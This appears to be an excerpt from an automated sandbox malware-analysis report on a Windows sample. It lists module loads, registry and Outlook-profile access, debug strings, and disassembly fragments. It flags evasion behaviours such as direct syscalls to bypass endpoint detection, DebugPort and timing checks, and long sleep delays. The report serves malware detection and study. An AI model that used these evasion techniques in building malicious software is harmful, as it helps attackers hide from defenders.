Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\w64HYOhfv1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\RmClient.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: w64HYOhfv1.exe

Static file information: File size 1363343 > 1048576

Source:	Binary string: RmClient.pdbGCTL source: svchost.exe, 00000001.00000002.1963873677.0000000002A12000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1963858433.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129554800.00000000009C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ifhdPMDeORMlb.exe, 00000003.00000000.1867261425.0000000000BEE000.00000002.00000001.01000000.00000005.sdmp, ifhdPMDeORMlb.exe, 00000007.00000000.2033224305.0000000000BEE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000001.00000002.1964073483.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1964073483.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847224890.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844685675.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.000000000318E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.0000000002FF0000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1965904772.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1964009179.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000001.00000002.1964073483.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1964073483.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847224890.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844685675.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, RmClient.exe, 00000006.00000002.4130603764.000000000318E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.0000000002FF0000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1965904772.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1964009179.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RmClient.exe, 00000006.00000002.4131092895.000000000361C000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.4129491056.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002BEC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003BD2C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RmClient.exe, 00000006.00000002.4131092895.000000000361C000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.4129491056.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002BEC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003BD2C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RmClient.pdb source: svchost.exe, 00000001.00000002.1963873677.0000000002A12000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1963858433.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129554800.00000000009C8000.00000004.00000020.00020000.00000000.sdmp

Source: w64HYOhfv1.exe

Static PE information: real checksum: 0xa961f should be: 0x154296

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026633B0 push eax; ret	1_2_026633B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02661724 push 0000007Ch; iretd	1_2_02661726
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_026834C3 push edi; retf	1_2_026834CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030309AD push ecx; mov dword ptr [esp], ecx	1_2_030309B6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_030209AD push ecx; mov dword ptr [esp], ecx	6_2_030209B6
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00540110 push edi; retf	6_2_0054011B
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00532260 push ds; retf	6_2_00532274
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00540365 push ebp; ret	6_2_00540367
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00537338 push ds; ret	6_2_0053733C
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0054038C push ecx; iretd	6_2_0054038F
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_0053B602 pushfd ; ret	6_2_0053B604
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D25052 push eax; ret	6_2_00D25054
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1F06A push ebp; iretd	6_2_00D1F072
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1C308 push cs; ret	6_2_00D1C309
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D125EE push ebp; ret	6_2_00D125EF
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1857A push es; retf	6_2_00D18584
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D156F8 pushad ; iretd	6_2_00D1573F
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D14C7E push 00000021h; retf	6_2_00D14C80
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 6_2_00D1BFE5 push cs; retf	6_2_00D1BFEF

Source: C:\Users\user\Desktop\w64HYOhfv1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\w64HYOhfv1.exe	API/Special instruction interceptor: Address: 420C25C
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\RmClient.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_030AD1C0 rdtsc

1_2_030AD1C0

Source: C:\Windows\SysWOW64\RmClient.exe	Window / User API: threadDelayed 2301			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Window / User API: threadDelayed 7671			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\RmClient.exe	API coverage: 3.1 %

Source: C:\Windows\SysWOW64\RmClient.exe TID: 6288	Thread sleep count: 2301 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 6288	Thread sleep time: -4602000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 6288	Thread sleep count: 7671 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe TID: 6288	Thread sleep time: -15342000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe TID: 764	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe TID: 764	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe TID: 764	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe TID: 764	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe TID: 764	Thread sleep time: -41000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RmClient.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\RmClient.exe

Code function: 6_2_0053C280 FindFirstFileW,FindNextFileW,FindClose,

6_2_0053C280

Source: ifhdPMDeORMlb.exe, 00000007.00000002.4129953313.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: RmClient.exe, 00000006.00000002.4129491056.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: firefox.exe, 00000008.00000002.2263936410.00000247FBD7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_030AD1C0 rdtsc

1_2_030AD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_02677583 LdrLoadDll,

1_2_02677583

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B930B mov eax, dword ptr fs:[00000030h]	1_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B930B mov eax, dword ptr fs:[00000030h]	1_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B930B mov eax, dword ptr fs:[00000030h]	1_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A30B mov eax, dword ptr fs:[00000030h]	1_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C310 mov ecx, dword ptr fs:[00000030h]	1_2_0302C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03050310 mov ecx, dword ptr fs:[00000030h]	1_2_03050310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F132D mov eax, dword ptr fs:[00000030h]	1_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F132D mov eax, dword ptr fs:[00000030h]	1_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305F32A mov eax, dword ptr fs:[00000030h]	1_2_0305F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03027330 mov eax, dword ptr fs:[00000030h]	1_2_03027330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B2349 mov eax, dword ptr fs:[00000030h]	1_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D34C mov eax, dword ptr fs:[00000030h]	1_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D34C mov eax, dword ptr fs:[00000030h]	1_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105341 mov eax, dword ptr fs:[00000030h]	1_2_03105341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029353 mov eax, dword ptr fs:[00000030h]	1_2_03029353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029353 mov eax, dword ptr fs:[00000030h]	1_2_03029353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov ecx, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B035C mov eax, dword ptr fs:[00000030h]	1_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FA352 mov eax, dword ptr fs:[00000030h]	1_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF367 mov eax, dword ptr fs:[00000030h]	1_2_030EF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D437C mov eax, dword ptr fs:[00000030h]	1_2_030D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03037370 mov eax, dword ptr fs:[00000030h]	1_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03037370 mov eax, dword ptr fs:[00000030h]	1_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03037370 mov eax, dword ptr fs:[00000030h]	1_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E388 mov eax, dword ptr fs:[00000030h]	1_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]	1_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305438F mov eax, dword ptr fs:[00000030h]	1_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310539D mov eax, dword ptr fs:[00000030h]	1_2_0310539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0308739A mov eax, dword ptr fs:[00000030h]	1_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0308739A mov eax, dword ptr fs:[00000030h]	1_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028397 mov eax, dword ptr fs:[00000030h]	1_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030533A5 mov eax, dword ptr fs:[00000030h]	1_2_030533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030633A0 mov eax, dword ptr fs:[00000030h]	1_2_030633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030633A0 mov eax, dword ptr fs:[00000030h]	1_2_030633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC3CD mov eax, dword ptr fs:[00000030h]	1_2_030EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030383C0 mov eax, dword ptr fs:[00000030h]	1_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EB3D0 mov ecx, dword ptr fs:[00000030h]	1_2_030EB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF3E6 mov eax, dword ptr fs:[00000030h]	1_2_030EF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031053FC mov eax, dword ptr fs:[00000030h]	1_2_031053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030403E9 mov eax, dword ptr fs:[00000030h]	1_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030663FF mov eax, dword ptr fs:[00000030h]	1_2_030663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03067208 mov eax, dword ptr fs:[00000030h]	1_2_03067208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03067208 mov eax, dword ptr fs:[00000030h]	1_2_03067208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105227 mov eax, dword ptr fs:[00000030h]	1_2_03105227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302823B mov eax, dword ptr fs:[00000030h]	1_2_0302823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029240 mov eax, dword ptr fs:[00000030h]	1_2_03029240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029240 mov eax, dword ptr fs:[00000030h]	1_2_03029240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306724D mov eax, dword ptr fs:[00000030h]	1_2_0306724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A250 mov eax, dword ptr fs:[00000030h]	1_2_0302A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EB256 mov eax, dword ptr fs:[00000030h]	1_2_030EB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EB256 mov eax, dword ptr fs:[00000030h]	1_2_030EB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036259 mov eax, dword ptr fs:[00000030h]	1_2_03036259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FD26B mov eax, dword ptr fs:[00000030h]	1_2_030FD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FD26B mov eax, dword ptr fs:[00000030h]	1_2_030FD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302826B mov eax, dword ptr fs:[00000030h]	1_2_0302826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03059274 mov eax, dword ptr fs:[00000030h]	1_2_03059274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03071270 mov eax, dword ptr fs:[00000030h]	1_2_03071270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03071270 mov eax, dword ptr fs:[00000030h]	1_2_03071270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
